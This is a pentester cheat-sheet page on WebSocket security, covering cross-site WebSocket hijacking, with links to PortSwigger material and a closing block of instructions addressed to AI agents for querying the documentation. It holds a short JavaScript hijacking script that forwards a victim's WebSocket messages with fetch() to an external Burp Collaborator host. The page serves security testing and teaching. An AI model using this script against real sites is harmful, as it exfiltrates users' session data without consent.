# WebSockets

> WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. The WebSocket protocol was standardized by the IETF as RFC 6455 in 2011. The current API specification allowing web applications to use this protocol is known as WebSockets.
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/WebSocket)

* [PortSwigger - Web Security Academy - Testing for WebSockets security vulnerabilities](https://portswigger.net/web-security/websockets)

## Vulnerabilities

Generally any web security vulnerability may also arise using WebSockets.

## Cross-site WebSocket hijacking (CSWSH)

* Check if the WebSocket handshake is protected against CSRF
* Hijack the socket by targeting a victim with something like the following script:

```html
<script>
    var ws = new WebSocket('vulnerable-website.com/websocket');
    ws.onopen = function() {
    	// Send some stuff if needed
        ws.send("READY");
    };
    ws.onmessage = function(event) {
    	// Receive data and send it to "us"
        fetch('xyz.burpcollaborator.com', { method: 'POST', mode: 'no-cors', body: event.data });
    };
</script>
```

* [PortSwigger - Web Security Academy - Cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/websockets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
